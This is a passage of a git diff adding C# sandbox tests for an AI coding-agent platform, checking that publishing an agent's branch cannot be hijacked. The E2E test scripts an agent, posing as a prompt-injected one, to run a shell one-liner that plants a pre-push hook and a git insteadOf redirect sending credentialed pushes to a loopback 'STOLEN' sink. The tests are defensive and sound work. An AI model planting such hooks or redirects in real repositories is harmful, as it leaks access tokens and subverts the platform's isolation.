legacy)).ToArray()); + var commit = (await GitAsync(Seed, new[] { "commit-tree", root, "-p", "HEAD", "-m", "legacy subtree" })).Trim(); + + await GitAsync(Seed, new[] { "update-ref", "refs/heads/main", commit }); + await PublishSeedAsync(); + } + + /// One raw tree entry: <mode> <name>\0<20-byte sha>, written exactly as given (no mode normalisation). + public static byte[] TreeEntry(string mode, string name, string sha) => Encoding.ASCII.GetBytes($"{mode} {name}\0").Concat(Convert.FromHexString(sha)).ToArray(); + + /// Write an object verbatim (--literally, so git does not validate it) into or the seed; returns its sha. + public async Task HashObjectAsync(string type, byte[] content, string? repository = null) + { + var file = Path.Combine(Root, "object-" + Guid.NewGuid().ToString("N")); + await File.WriteAllBytesAsync(file, content); + return (await GitAsync(repository ?? Seed, new[] { "hash-object", "-w", "--literally", "-t", type, file })).Trim(); + } + + private async Task PublishSeedAsync() + { + BaseSha = (await GitAsync(Seed, new[] { "rev-parse", "HEAD" })).Trim(); + await GitAsync(Seed, new[] { "push", "--force", Remote, "main" }); + } + + private async Task AcceptAsync() + { + try + { + while (!_stopping.IsCancellationRequested) + { + var context = await _listener.GetContextAsync().WaitAsync(_stopping.Token); + _requests.Add(ServeAsync(context)); + } + } + catch (OperationCanceledException) when (_stopping.IsCancellationRequested) { } + catch (HttpListenerException) when (_stopping.IsCancellationRequested) { } + catch (ObjectDisposedException) when (_stopping.IsCancellationRequested) { } + } + + private async Task ServeAsync(HttpListenerContext context) + { + try + { + if (context.Request.Headers[HostileHeader] is not null) lock (_gate) SawHostileHeader = true; + + var path = context.Request.Url!.AbsolutePath; + + if (path.EndsWith("/info/lfs/objects/batch", StringComparison.Ordinal)) { await ServeLfsBatchAsync(context); return; } + if (path.Contains("/lfs-object/", StringComparison.Ordinal)) { await ServeLfsObjectAsync(context, path); return; } + + await ServeGitAsync(context, path); + } + finally { context.Response.Close(); } + } + + private static bool AuthOk(HttpListenerContext context) => + string.Equals(context.Request.Headers["Authorization"], "Basic " + Convert.ToBase64String(Encoding.UTF8.GetBytes($"x-access-token:{FakeToken}")), StringComparison.Ordinal); + + private void Unauthorized(HttpListenerContext context) + { + context.Response.StatusCode = 401; + context.Response.Headers["WWW-Authenticate"] = "Basic realm=\"fixture\""; + } + + private async Task ServeLfsBatchAsync(HttpListenerContext context) + { + if (!AuthOk(context)) { Unauthorized(context); return; } + + using var reader = new StreamReader(context.Request.InputStream); + var document = JsonDocument.Parse(await reader.ReadToEndAsync()); + var operation = document.RootElement.GetProperty("operation").GetString(); + var origin = context.Request.Url!.GetLeftPart(UriPartial.Authority); + + var objects = new List(); + foreach (var o in document.RootElement.GetProperty("objects").EnumerateArray()) + { + var oid = o.GetProperty("oid").GetString()!; + var size = o.GetProperty("size").GetInt64(); + var present = File.Exists(Path.Combine(LfsStore, oid)); + + var actions = operation == "upload" + ? present ? new Dictionary() : new Dictionary { ["upload"] = new { href = $"{origin}/lfs-object/{oid}" } } + : new Dictionary { ["download"] = new { href = $"{origin}/lfs-object/{oid}" } }; + + objects.Add(new { oid, size, actions }); + } + + var body = Encoding.UTF8.GetBytes(JsonSerializer.Serialize(new { transfer = "basic", objects })); + context.Response.StatusCode = 200; + context.Response.ContentType = "application/vnd.git-lfs+json"; + context.Response.ContentLength64 = body.Length; + await context.Response.OutputStream.WriteAsync(body); + } + + private async Task ServeLfsObjectAsync(HttpListenerContext context, string path) + { + if (!AuthOk(context)) { Unauthorized(context); return; } + + var oid = path[(path.LastIndexOf('/') + 1)..]; + + if (context.Request.HttpMethod == "PUT") + { + using var body = new MemoryStream(); + await context.Request.InputStream.CopyToAsync(body); + await File.WriteAllBytesAsync(Path.Combine(LfsStore, oid), body.ToArray()); + lock (_gate) UploadedLfsOids.Add(oid); + context.Response.StatusCode = 200; + return; + } + + var stored = Path.Combine(LfsStore, oid); + if (!File.Exists(stored)) { context.Response.StatusCode = 404; return; } + var bytes = await File.ReadAllBytesAsync(stored); + context.Response.ContentLength64 = bytes.Length; + await context.Response.OutputStream.WriteAsync(bytes); + } + + private async Task ServeGitAsync(HttpListenerContext context, string path) + { + var isPush = path.EndsWith("/git-receive-pack", StringComparison.Ordinal) || context.Request.QueryString["service"] == "git-receive-pack"; + + if (isPush) + { + if (!AuthOk(context)) { Unauthorized(context); return; } + lock (_gate) AuthenticatedPushRequests++; + } + + using var input = new MemoryStream(); + await context.Request.InputStream.CopyToAsync(input, _stopping.Token); + + var info = StartInfo(Root, new[] { "http-backend" }); + info.RedirectStandardInput = true; + info.Environment["GIT_PROJECT_ROOT"] = Root; + info.Environment["GIT_HTTP_EXPORT_ALL"] = "1"; + info.Environment["PATH_INFO"] = path; + info.Environment["QUERY_STRING"] = context.Request.Url!.Query.TrimStart('?'); + info.Environment["REQUEST_METHOD"] = context.Request.HttpMethod; + info.Environment["CONTENT_TYPE"] = context.Request.ContentType ?? ""; + info.Environment["CONTENT_LENGTH"] = input.Length.ToString(); + info.Environment["REMOTE_USER"] = "fixture"; + + using var process = Process.Start(info).ShouldNotBeNull(); + using var output = new MemoryStream(); + var read = process.StandardOutput.BaseStream.CopyToAsync(output, _stopping.Token); + var error = process.StandardError.ReadToEndAsync(_stopping.Token); + input.Position = 0; + await input.CopyToAsync(process.StandardInput.BaseStream, _stopping.Token); + process.StandardInput.Close(); + try { await Task.WhenAll(read, error, process.WaitForExitAsync(_stopping.Token)).WaitAsync(TimeSpan.FromSeconds(30)); } + catch { if (!process.HasExited) process.Kill(entireProcessTree: true); throw; } + process.ExitCode.ShouldBe(0, await error); + + var bytes = output.ToArray(); + var boundary = FindHeadersEnd(bytes); + boundary.ShouldBeGreaterThan(0, "git http-backend must emit CGI headers"); + foreach (var header in Encoding.ASCII.GetString(bytes, 0, boundary).Split('\n', StringSplitOptions.RemoveEmptyEntries)) + { + var pair = header.TrimEnd('\r').Split(':', 2); + if (pair.Length != 2) continue; + if (pair[0].Equals("Status", StringComparison.OrdinalIgnoreCase)) context.Response.StatusCode = int.Parse(pair[1].Trim().Split(' ')[0]); + else if (pair[0].Equals("Content-Type", StringComparison.OrdinalIgnoreCase)) context.Response.ContentType = pair[1].Trim(); + else context.Response.Headers[pair[0]] = pair[1].Trim(); + } + context.Response.ContentLength64 = bytes.Length - boundary; + await context.Response.OutputStream.WriteAsync(bytes.AsMemory(boundary), _stopping.Token); + } + + private static int FindHeadersEnd(byte[] bytes) + { + for (var index = 1; index < bytes.Length; index++) + { + if (bytes[index - 1] == '\n' && bytes[index] == '\n') return index + 1; + if (index >= 3 && bytes[index - 3] == '\r' && bytes[index - 2] == '\n' && bytes[index - 1] == '\r' && bytes[index] == '\n') return index + 1; + } + return -1; + } + + public static async Task GitAsync(string cwd, IReadOnlyList args) + { + using var process = Process.Start(StartInfo(cwd, args)).ShouldNotBeNull(); + var output = process.StandardOutput.ReadToEndAsync(); + var error = process.StandardError.ReadToEndAsync(); + try { await Task.WhenAll(output, error, process.WaitForExitAsync()).WaitAsync(TimeSpan.FromSeconds(30)); } + catch { if (!process.HasExited) process.Kill(entireProcessTree: true); throw; } + process.ExitCode.ShouldBe(0, await error); + return await output; + } + + private static ProcessStartInfo StartInfo(string cwd, IReadOnlyList args) + { + var info = new ProcessStartInfo("git") { WorkingDirectory = cwd, RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false }; + foreach (var arg in args) info.ArgumentList.Add(arg); + info.Environment["GIT_CONFIG_NOSYSTEM"] = "1"; + info.Environment["GIT_CONFIG_GLOBAL"] = Path.Combine(cwd, "absent-global-config"); + info.Environment["GIT_TERMINAL_PROMPT"] = "0"; + return info; + } + + public async ValueTask DisposeAsync() + { + _stopping.Cancel(); + _listener.Close(); + try + { + if (_accept is not null) await _accept; + await Task.WhenAll(_requests); + } + finally { _stopping.Dispose(); try { Directory.Delete(Root, recursive: true); } catch { /* best-effort */ } } + } +} + +/// A loopback endpoint that accepts and records every connection, answering nothing useful — the attacker a redirect (insteadOf / proxy / a hostile .lfsconfig) would reach. The publish must send it NOTHING. +internal sealed class LoopbackSink : IDisposable +{ + private readonly TcpListener _listener = new(IPAddress.Loopback, 0); + private int _connections; + + public LoopbackSink() + { + _listener.Start(); + _ = AcceptAsync(); + } + + public int Port => ((IPEndPoint)_listener.LocalEndpoint).Port; + public int Connections => Volatile.Read(ref _connections); + + private async Task AcceptAsync() + { + try + { + while (true) + { + using var client = await _listener.AcceptTcpClientAsync(); + Interlocked.Increment(ref _connections); + } + } + catch (Exception ex) when (ex is SocketException or ObjectDisposedException) { } + } + + public void Dispose() => _listener.Stop(); +} diff --git a/backend/tests/CodeSpace.SandboxTests/AgentPublishIsolationE2ETests.cs b/backend/tests/CodeSpace.SandboxTests/AgentPublishIsolationE2ETests.cs new file mode 100644 index 000000000..15aebaefa --- /dev/null +++ b/backend/tests/CodeSpace.SandboxTests/AgentPublishIsolationE2ETests.cs @@ -0,0 +1,194 @@ +using System.Net; +using System.Net.Sockets; +using CodeSpace.Core.Services.Agents; +using CodeSpace.Core.Services.Agents.Credentials.Broker; +using CodeSpace.Core.Services.Agents.Harnesses.Claude; +using CodeSpace.Core.Services.Agents.Harnesses.Codex; +using CodeSpace.Core.Services.Agents.Sandbox; +using CodeSpace.Core.Services.Agents.Sandbox.Isolation; +using CodeSpace.Core.Services.Agents.Sandbox.Runners; +using CodeSpace.Core.Services.Agents.Workspace; +using CodeSpace.Core.Services.Agents.Workspace.Providers; +using CodeSpace.Messages.Agents; +using CodeSpace.Messages.Enums; +using Microsoft.Extensions.Logging.Abstractions; +using Shouldly; +using Xunit.Abstractions; + +namespace CodeSpace.SandboxTests; + +/// +/// 🟢 HIGH fidelity (Rule 12), model excepted. A REAL pinned CLI agent — driven by the stub model +/// () — runs in a REAL provider clone of a loopback smart-HTTP remote and, as a +/// prompt-injected agent could, plants a pre-push hook and a url.<sink>.insteadOf http:// in its own +/// .git while making a change. Then the PRODUCTION capture + publish () +/// runs against that remote with a FAKE token. The branch must land on the legit remote, the attacker sink must be +/// contacted zero times (so the token is never redirected to it), and the planted pre-push must never fire — because the +/// publish carries the branch out as hardened bundles and pushes it from a fresh platform-owned repo, so the credential +/// and the network never meet the agent's .git. +/// +/// The CLI binaries, the production harness argv, the production (bubblewrap where +/// the host confines) and the real broker all run for real; only the model behind the broker is scripted. Armed by +/// (the sandbox lane sets it after installing the pins) or a +/// harness command override; otherwise the arm returns. Each arm that ran prints , which the lane +/// requires, so a silent return can never pass for coverage. +/// +/// Both arms run the agent at Standard, the default tier that may write its workspace. This root lane runs the +/// Codex arm; the Claude arm runs in the non-root lane (), because the pinned Claude +/// CLI refuses bypassPermissions (a Standard run's mode) to uid 0, and a Confined Claude could plant nothing. +/// +[Trait("Category", "Sandbox")] +public sealed class AgentPublishIsolationE2ETests(ITestOutputHelper output) : IDisposable +{ + public const string RanMarker = "[publish-isolation-e2e] ran"; + + private readonly List _directories = []; + + [Fact] + public Task A_real_codex_agent_that_plants_push_vectors_in_its_git_cannot_reach_the_sink_when_the_platform_publishes() => PlantedPushVectorsReachNoSinkAsync(CodexHarness.HarnessKind, lane: "root"); + + /// + /// The arm, for either lane: a real agent at Standard plants a pre-push hook + /// and an insteadOf redirect in its clone's .git, then the production capture + publish must land the + /// branch on the legit remote while the sink sees no connection and the hook never fires. + /// + internal async Task PlantedPushVectorsReachNoSinkAsync(string harnessKind, string lane) + { + var harness = ReviewerReadsItsDiffE2ETests.HarnessFor(harnessKind); + + if (!ReviewerReadsItsDiffE2ETests.Armed(harnessKind) || OperatingSystem.IsWindows()) return; + + // Codex's OWN sandbox keeps .git read-only unless our confinement stands it down (see + // ReviewerReadsItsDiffE2ETests.A_standard_codex_writes…), so it can only plant in .git when confined. Claude has + // no such sandbox and plants either way. + if (harnessKind == CodexHarness.HarnessKind && BubblewrapSandbox.Available is null) + { + BubblewrapSandbox.IsRequired.ShouldBeFalse("Sandbox:RequireConfinement is set but this host cannot sandbox — the Codex arm needs our confinement to stand Codex's own sandbox down"); + return; + } + + await ReviewerReadsItsDiffE2ETests.RequirePinnedBinaryAsync(harness, harnessKind); + + await using var remote = new GitHttpFixture(); + await remote.StartAsync(); + using var sink = new ConnectionSink(); + + var workspacesRoot = NewDirectory("publish-iso-workspaces"); + var provider = new LocalGitWorkspaceProvider(new SandboxRunnerRegistry(new[] { new LocalProcessRunner() }), NullLogger.Instance, workspacesRoot); + await using var handle = await provider.PrepareAsync(WorkspaceProvisionRequest.FromSingle(new WorkspaceRequest { RepositoryUrl = remote.Url, Token = "fixture-only-token", TokenUsername = "x-access-token" }), CancellationToken.None); + + var branchName = "codespace/agent/" + Guid.NewGuid().ToString("N"); + var prePushMarker = Path.Combine(handle.Directory, ".git", "PRE_PUSH_FIRED"); + + // The real agent plants the push vectors into its .git AND makes a work-tree change, so there is something to publish. + var plant = $"printf 'produced-by-agent\\n' > produced.txt && mkdir -p .git/hooks && printf '#!/bin/sh\\ntouch .git/PRE_PUSH_FIRED\\n' > .git/hooks/pre-push && chmod +x .git/hooks/pre-push && printf '\\n[url \"http://127.0.0.1:{sink.Port}/STOLEN/\"]\\n\\tinsteadOf = http://\\n' >> .git/config"; + await RunAgentAsync(harness, harnessKind, handle.Directory, plant); + + File.Exists(Path.Combine(handle.Directory, ".git", "hooks", "pre-push")).ShouldBeTrue("fixture check: the agent must have planted its pre-push hook, or this proves nothing"); + (await File.ReadAllTextAsync(Path.Combine(handle.Directory, ".git", "config"))).ShouldContain("insteadOf", customMessage: "fixture check: the agent must have planted the insteadOf redirect"); + + // Production capture + publish over the clone the agent just tampered. + var changes = await handle.CaptureChangesAsync(CancellationToken.None); + var branch = await ((IWorkspacePushHandle)handle).PushChangesAsync(branchName, CancellationToken.None); + + branch.ShouldBe(branchName, "the publish produced the branch despite the planted vectors"); + changes.ChangedFiles.ShouldContain("produced.txt"); + remote.AuthenticatedPushRequests.ShouldBeGreaterThan(0, "the real credential reached the LEGIT remote"); + (await GitHttpFixture.GitAsync(remote.Root, new[] { "--git-dir", remote.Remote, "show", $"refs/heads/{branchName}:produced.txt" })).ShouldBe("produced-by-agent\n"); + + sink.Connections.ShouldBe(0, "the planted insteadOf never redirected a credentialed request to the attacker sink"); + File.Exists(prePushMarker).ShouldBeFalse("the planted pre-push hook never fired — the push ran in the clean repo, not the agent clone"); + + output.WriteLine($"{RanMarker} {(lane == "root" ? "" : lane + " ")}{harnessKind} uid={NonRootWorker.EffectiveUid()} confined={BubblewrapSandbox.Available is not null}"); + } + + /// Run the real CLI once, driven by the stub model to execute and then answer. + private async Task RunAgentAsync(IAgentHarness harness, string harnessKind, string workspace, string command) + { + var nonce = Guid.NewGuid().ToString("N"); + var upstream = new ScriptedModelUpstream([command], $"DONE-{nonce}"); + using var broker = LoopbackModelCredentialBroker.ForTest(upstream); + var permissions = AgentAutonomyPolicy.Derive(AgentAutonomyLevel.Standard); + var brokered = await OpenLeaseAsync(broker, permissions); + + var task = new AgentTask + { + Goal = $"Make the change. GOAL-{nonce}", + Harness = harness.Kind, + Model = harnessKind == ClaudeCodeHarness.HarnessKind ? "claude-sonnet-4-6" : "gpt-5.4", + WorkspaceDirectory = workspace, + Permissions = permissions, + TimeoutSeconds = 300, + Environment = new Dictionary(ReviewerReadsItsDiffE2ETests.Brokered(harness, brokered)) { ["HOME"] = NewDirectory("publish-iso-home") }, + }; + + var spec = ReviewerReadsItsDiffE2ETests.ProductionSpec(harness, task, brokered); + var lines = new List(); + + using var budget = new CancellationTokenSource(TimeSpan.FromSeconds((task.TimeoutSeconds ?? 300) + 60)); + var result = await new LocalProcessRunner().RunStreamingAsync(spec, (line, _) => { lines.Add(line); return Task.CompletedTask; }, budget.Token); + + result.Status.ShouldBe(SandboxStatus.Success, $"the {harnessKind} agent did not finish cleanly (exit {result.ExitCode}); stderr: {ReviewerReadsItsDiffE2ETests.Tail(result.Stderr)}; argv: {string.Join(' ', spec.Args)}"); + } + + private async Task OpenLeaseAsync(LoopbackModelCredentialBroker broker, AgentPermissions permissions) + { + var runId = Guid.NewGuid(); + var lease = new ModelCredentialLeaseRequest + { + RunId = runId, TeamId = Guid.NewGuid(), Epoch = 1, Ttl = TimeSpan.FromMinutes(10), SocketPath = AgentRunExecutor.ModelBrokerSocketPathFor(permissions, runId), + Upstream = new ResolvedModelCredential { Provider = "Custom", ApiKey = "sk-publish-iso-e2e", BaseUrl = "https://scripted-model.invalid" }, + }; + + if (lease.SocketPath is { } socketPath) _directories.Add(Path.GetDirectoryName(socketPath)!); + + return (await broker.OpenAsync(lease, CancellationToken.None)).ShouldNotBeNull("the broker must be able to listen — a brokered run has no other route to its model"); + } + + private string NewDirectory(string label) + { + var directory = Path.Combine(Path.GetTempPath(), $"cs-{label}-{Guid.NewGuid():N}"); + Directory.CreateDirectory(directory); + _directories.Add(directory); + return directory; + } + + public void Dispose() + { + foreach (var directory in _directories) + { + try { Directory.Delete(directory, recursive: true); } catch { /* best-effort */ } + } + } + + /// A loopback endpoint that accepts and counts every connection — the attacker a planted insteadOf would redirect to. The publish must send it nothing. + private sealed class ConnectionSink : IDisposable + { + private readonly TcpListener _listener = new(IPAddress.Loopback, 0); + private int _connections; + + public ConnectionSink() + { + _listener.Start(); + _ = AcceptAsync(); + } + + public int Port => ((IPEndPoint)_listener.LocalEndpoint).Port; + public int Connections => Volatile.Read(ref _connections); + + private async Task AcceptAsync() + { + try + { + while (true) + { + using var client = await _listener.AcceptTcpClientAsync(); + Interlocked.Increment(ref _connections); + } + } + catch (Exception ex) when (ex is SocketException or ObjectDisposedException) { } + } + + public void Dispose() => _listener.Stop(); + } +} diff --git a/backend/tests/CodeSpace.SandboxTests/GitWorkspaceIsolationE2ETests.cs b/backend/tests/CodeSpace.SandboxTests/GitWorkspaceIsolationE2ETests.cs index 71165661e..0f99db6e9 100644 --- a/backend/tests/CodeSpace.SandboxTests/GitWorkspaceIsolationE2ETests.cs +++ b/backend/tests/CodeSpace.SandboxTests/GitWorkspaceIsolationE2ETests.cs @@ -216,10 +216,17 @@ public async Task Network_clone_pin_fetch_capture_and_authenticated_push_match_t (await GitHttpFixture.GitAsync(origin.Root, new[] { "--git-dir", origin.Remote, "rev-parse", "main" })).Trim().ShouldBe(origin.TipSha); recorder.Specs.ShouldContain(spec => spec.Args.Contains("fetch")); recorder.Specs.ShouldContain(spec => spec.Args.Contains("set-url")); + + // Clone, pin-fetch and capture run IN the workspace; the publish runs in a sibling publish dir and the + // bundles bind the workspace read-only to carry the branch out. A network repository still grants no + // EXTERNAL host source path — the only read-only bind anywhere is the clone itself, for bundling. + var publishDir = recorder.Specs.Where(spec => spec.Args.Contains("bundle")).Select(spec => spec.WorkingDirectory).Distinct().ShouldHaveSingleItem().ShouldNotBeNull(); + var relative = Path.GetRelativePath(workspace, publishDir); + (relative == ".." || relative.StartsWith(".." + Path.DirectorySeparatorChar, StringComparison.Ordinal)).ShouldBeTrue($"the publish repo {publishDir} is staged outside the agent workspace {workspace}, not inside it"); foreach (var spec in recorder.Specs) { - spec.WorkingDirectory.ShouldBe(workspace, string.Join(' ', spec.Args)); - spec.ReadOnlyPaths.ShouldBeEmpty("a network repository does not grant host source access"); + (spec.WorkingDirectory == workspace || spec.WorkingDirectory == publishDir).ShouldBeTrue(string.Join(' ', spec.Args)); + foreach (var readOnly in spec.ReadOnlyPaths) readOnly.ShouldBe(workspace, string.Join(' ', spec.Args)); } } Directory.Exists(workspace).ShouldBeFalse(); diff --git a/backend/tests/CodeSpace.SandboxTests/NonRootWorkerE2ETests.cs b/backend/tests/CodeSpace.SandboxTests/NonRootWorkerE2ETests.cs index ceb98de3a..811a953ce 100644 --- a/backend/tests/CodeSpace.SandboxTests/NonRootWorkerE2ETests.cs +++ b/backend/tests/CodeSpace.SandboxTests/NonRootWorkerE2ETests.cs @@ -17,7 +17,8 @@ namespace CodeSpace.SandboxTests; /// (), then runs the SAME arm the root lane runs, so both lanes pin one behaviour — /// but for two arms: this worker cannot filter, so its allowlist run is severed where the root lane's is filtered, and /// it still reaches its broker; and its repository-config arm runs Claude at Standard, the tier the root lane's uid 0 -/// cannot give it. +/// cannot give it. The publish-isolation Claude arm runs here alone for the same reason: a Confined Claude could not +/// write the .git it plants into, so the root lane runs only that class's Codex arm. /// /// Selected by its trait alone (--filter Category=SandboxNonRoot), never by the root lane's /// Category=Sandbox. Every arm that ran prints its class's marker with non-root and its uid, which the @@ -151,4 +152,15 @@ public async Task A_standard_claude_goal_that_opens_with_a_slash_word_reaches_th using var arms = new GoalChannelE2ETests(output); await arms.SlashWordReachesTheModelAsync(word, AgentAutonomyLevel.Standard, Lane); } + + [Fact] + public async Task A_standard_claude_agent_that_plants_push_vectors_in_its_git_cannot_reach_the_sink_when_the_platform_publishes() + { + // The publish-isolation arm with Claude at Standard, the posture the worker ships it in: bypassPermissions, which the + // pinned CLI refuses to the root lane's uid 0, and a workspace it may write, so it can plant into its own .git. + if (!NonRootWorker.Require()) return; + + using var arms = new AgentPublishIsolationE2ETests(output); + await arms.PlantedPushVectorsReachNoSinkAsync(ClaudeCodeHarness.HarnessKind, Lane); + } } diff --git a/backend/tests/CodeSpace.UnitTests/Workflows/LocalGitWorkspaceProviderTests.cs b/backend/tests/CodeSpace.UnitTests/Workflows/LocalGitWorkspaceProviderTests.cs index 0d1dfe658..ce780dcfc 100644 --- a/backend/tests/CodeSpace.UnitTests/Workflows/LocalGitWorkspaceProviderTests.cs +++ b/backend/tests/CodeSpace.UnitTests/Workflows/LocalGitWorkspaceProviderTests.cs @@ -461,51 +461,152 @@ await Should.ThrowAsync(async () => [Fact] public void Kind_is_local() => NewProvider().Kind.ShouldBe("local"); + // ─── LFS store paths the publish copies ────────────────────────────────── + + [Theory] + [InlineData("ab/cd/abcd000000000000000000000000000000000000000000000000000000000000", true)] // // + [InlineData("ab/ce/abcd000000000000000000000000000000000000000000000000000000000000", false)] // second segment is not the oid's + [InlineData("AB/CD/ABCD000000000000000000000000000000000000000000000000000000000000", false)] // git-lfs writes lowercase only + [InlineData("ab/cd/abcd00000000000000000000000000000000000000000000000000000000000", false)] // 63 digits + [InlineData("ab/cd/abcd00000000000000000000000000000000000000000000000000000000000g", false)] // not hex + [InlineData("abcd000000000000000000000000000000000000000000000000000000000000", false)] // flat, no fan-out + [InlineData("x/ab/cd/abcd000000000000000000000000000000000000000000000000000000000000", false)] // one level too deep + [InlineData("zz/not-an-object", false)] + public void IsLfsObjectPath_accepts_only_git_lfs_object_paths(string relative, bool expected) => + LocalGitWorkspaceProvider.IsLfsObjectPath(relative.Replace('/', Path.DirectorySeparatorChar)).ShouldBe(expected); + // ─── Git-command routing: agent-clone hardening vs remote access ────────── [Theory] - [InlineData(false)] // the platform commits the agent's edits - [InlineData(true)] // the agent committed itself: "nothing to commit", then `diff --quiet` decides the push - public async Task Every_git_command_after_the_agent_turn_runs_hardened_except_the_push_and_its_readback(bool agentCommittedItself) + [InlineData(false, false)] // the platform commits the agent's edits + [InlineData(true, false)] // the agent committed itself: "nothing to commit", then `diff --quiet` decides the push + [InlineData(false, true)] // a multi-repo workspace: the clone is a subdirectory of an agent-writable workspace root + public async Task After_the_agent_turn_the_credential_and_network_never_touch_the_agent_clone(bool agentCommittedItself, bool multiRepo) { - // Everything the provider runs over the clone AFTER the agent's turn — capture, re-attach capture, checkout, - // add, commit, diff --quiet, rev-parse — must be hooks/fsmonitor-suppressed, off the network and credential-free. - // Only the authenticated push and its ls-remote readback still carry the token and the network. + // G1 + G2 together. Everything the provider runs IN the agent clone after the agent's turn — capture, re-attach + // capture, checkout, add, commit, diff --quiet, the base ref and the ancestry check — is hooks/fsmonitor-suppressed, + // off the network and credential-free. The branch leaves the clone as hardened `bundle create`s (the clone bound + // read-only, the bundles written OUTSIDE the workspace); the bundle import, the authenticated push, its LFS upload + // and its ls-remote readback run in a fresh publish repo. So the clone credential and the network never meet the + // agent-writable .git. var runner = new PostTurnRunner(agentCommittedItself); var provider = new LocalGitWorkspaceProvider(new SandboxRunnerRegistry(new[] { runner }), NullLogger.Instance); const string token = "fixture-token"; - await using var handle = await provider.PrepareAsync(WorkspaceProvisionRequest.FromSingle(new WorkspaceRequest { RepositoryUrl = "https://example.test/repo.git", Token = token }), CancellationToken.None); + await using var handle = await provider.PrepareAsync(PostTurnProvision(token, multiRepo), CancellationToken.None); + var workspaceRoot = handle.Directory; + var cloneDir = handle.Repositories.Single(r => r.Alias == handle.PrimaryAlias).Directory; var prepared = runner.Specs.Count; await handle.CaptureChangesAsync(CancellationToken.None); - await provider.CaptureChangesFromPathAsync(handle.Directory, handle.Repositories.Single().BaseSha!, CancellationToken.None); - (await ((IWorkspacePushHandle)handle).PushChangesAsync("codespace/run", CancellationToken.None)).ShouldBe("codespace/run"); + await provider.CaptureChangesFromPathAsync(cloneDir, handle.Repositories.Single(r => r.Alias == handle.PrimaryAlias).BaseSha!, CancellationToken.None); + (await ((IWorkspacePushHandle)handle).PushChangesAsync(handle.PrimaryAlias, "codespace/run", CancellationToken.None)).ShouldBe("codespace/run"); var postTurn = runner.Specs.Skip(prepared).ToList(); - static bool ReachesTheRemote(SandboxSpec s) => s.Args.Contains("push") || s.Args.Contains("ls-remote"); - var remote = postTurn.Where(ReachesTheRemote).ToList(); - var local = postTurn.Where(s => !ReachesTheRemote(s)).ToList(); + var inClone = postTurn.Where(s => s.WorkingDirectory == cloneDir).ToList(); + var inPublishRepo = postTurn.Where(s => s.WorkingDirectory != cloneDir).ToList(); + + ShouldNeverMeetTheAgentClone(postTurn, token, cloneDir, workspaceRoot); + ShouldRunHardenedInTheClone(inClone, token, agentCommittedItself); + ShouldStageThePublishRepoOutsideTheWorkspace(inPublishRepo, workspaceRoot); + ShouldBundleTheBranchOutReadOnly(inPublishRepo, token, cloneDir, workspaceRoot); + ShouldCheckOnlyTheObjectsTheBranchAdds(inPublishRepo); + } + + private static WorkspaceProvisionRequest PostTurnProvision(string token, bool multiRepo) => multiRepo + ? new WorkspaceProvisionRequest + { + PrimaryAlias = "web", + Repositories = new[] + { + new WorkspaceRepositoryProvision { Alias = "web", CloneRequest = new WorkspaceRequest { RepositoryUrl = "https://example.test/web.git", Token = token }, Access = WorkspaceAccess.Write, IsPrimary = true }, + new WorkspaceRepositoryProvision { Alias = "lib", CloneRequest = new WorkspaceRequest { RepositoryUrl = "https://example.test/lib.git" }, Access = WorkspaceAccess.Read }, + }, + } + : WorkspaceProvisionRequest.FromSingle(new WorkspaceRequest { RepositoryUrl = "https://example.test/repo.git", Token = token }); + + /// The credential (in the authed URL) and the network appear ONLY in the publish repo: never with the agent clone as the working directory, never pointed at it with an argument (-C, --git-dir, --work-tree), never with it bound in. + private static void ShouldNeverMeetTheAgentClone(IReadOnlyList postTurn, string token, string cloneDir, string workspaceRoot) + { + var reachesOut = postTurn.Where(s => s.AllowNetwork || s.Args.Any(a => a.Contains(token))).ToList(); - remote.Count.ShouldBe(2, "exactly one push and one ls-remote readback reach the remote"); - remote.ShouldAllBe(s => s.AllowNetwork && s.Args.Any(a => a.Contains(token))); + reachesOut.Count(s => s.Args.Any(a => a.Contains(token))).ShouldBe(2, "exactly the authenticated push and its ls-remote readback carry the credential"); + reachesOut.Count(s => s.Args.Contains("push") || s.Args.Contains("ls-remote")).ShouldBe(2, "exactly the authenticated push and its ls-remote readback reach the remote"); + + foreach (var spec in reachesOut) + { + var argv = string.Join(' ', spec.Args); + IsOutside(workspaceRoot, spec.WorkingDirectory!).ShouldBeTrue($"cwd inside the workspace: {argv}"); + spec.Args.ShouldNotContain(a => a == cloneDir || IsUnder(cloneDir, a), $"an argument points git at the agent clone: {argv}"); + spec.ReadOnlyPaths.ShouldNotContain(cloneDir, argv); + } + } - foreach (var spec in local) + /// Every command whose cwd IS the agent clone is hardened, off the network and credential-free. + private static void ShouldRunHardenedInTheClone(IReadOnlyList inClone, string token, bool agentCommittedItself) + { + foreach (var spec in inClone) { var argv = string.Join(' ', spec.Args); spec.Args.Take(AgentCloneGitCommand.HardeningConfig.Count).ShouldBe(AgentCloneGitCommand.HardeningConfig, argv); spec.AllowNetwork.ShouldBeFalse(argv); spec.Environment.ShouldBeEmpty(argv); spec.Args.ShouldNotContain(a => a.Contains(token), argv); - spec.WorkingDirectory.ShouldBe(handle.Directory, argv); } - var subcommands = local.Select(s => s.Args.Skip(AgentCloneGitCommand.HardeningConfig.Count).First(a => !a.StartsWith('-') && !a.Contains('='))).Distinct().ToList(); - subcommands.ShouldBe(new[] { "add", "diff", "checkout", "commit", "rev-parse" }, ignoreOrder: true); - local.Count(s => s.Args.Contains("--quiet")).ShouldBe(agentCommittedItself ? 1 : 0, "`diff --quiet` runs only when the platform had nothing to commit"); + var subcommands = inClone.Select(s => s.Args.Skip(AgentCloneGitCommand.HardeningConfig.Count).First(a => !a.StartsWith('-') && !a.Contains('='))).Distinct().ToList(); + subcommands.ShouldBe(new[] { "add", "diff", "checkout", "commit", "update-ref", "merge-base" }, ignoreOrder: true); + inClone.Count(s => s.Args.Contains("--quiet")).ShouldBe(agentCommittedItself ? 1 : 0, "`diff --quiet` runs only when the platform had nothing to commit"); } - /// Records every spec and answers success with a fixed 40-char sha; optionally answers the platform commit with "nothing to commit" and `diff --quiet` with "differs", as git does after an agent committed its own work. + /// Every other post-turn command runs in ONE publish repo that is OUTSIDE the workspace root — not merely a different path, which a directory nested in the agent-writable workspace would also be. + private static void ShouldStageThePublishRepoOutsideTheWorkspace(IReadOnlyList inPublishRepo, string workspaceRoot) + { + var publishDir = inPublishRepo.Select(s => s.WorkingDirectory).Distinct().ShouldHaveSingleItem().ShouldNotBeNull(); + + IsOutside(workspaceRoot, publishDir).ShouldBeTrue($"the publish repo {publishDir} is staged inside the agent workspace {workspaceRoot}"); + } + + /// The bundles READ the clone (bound read-only) but write the branch OUT of the workspace: hardened, no 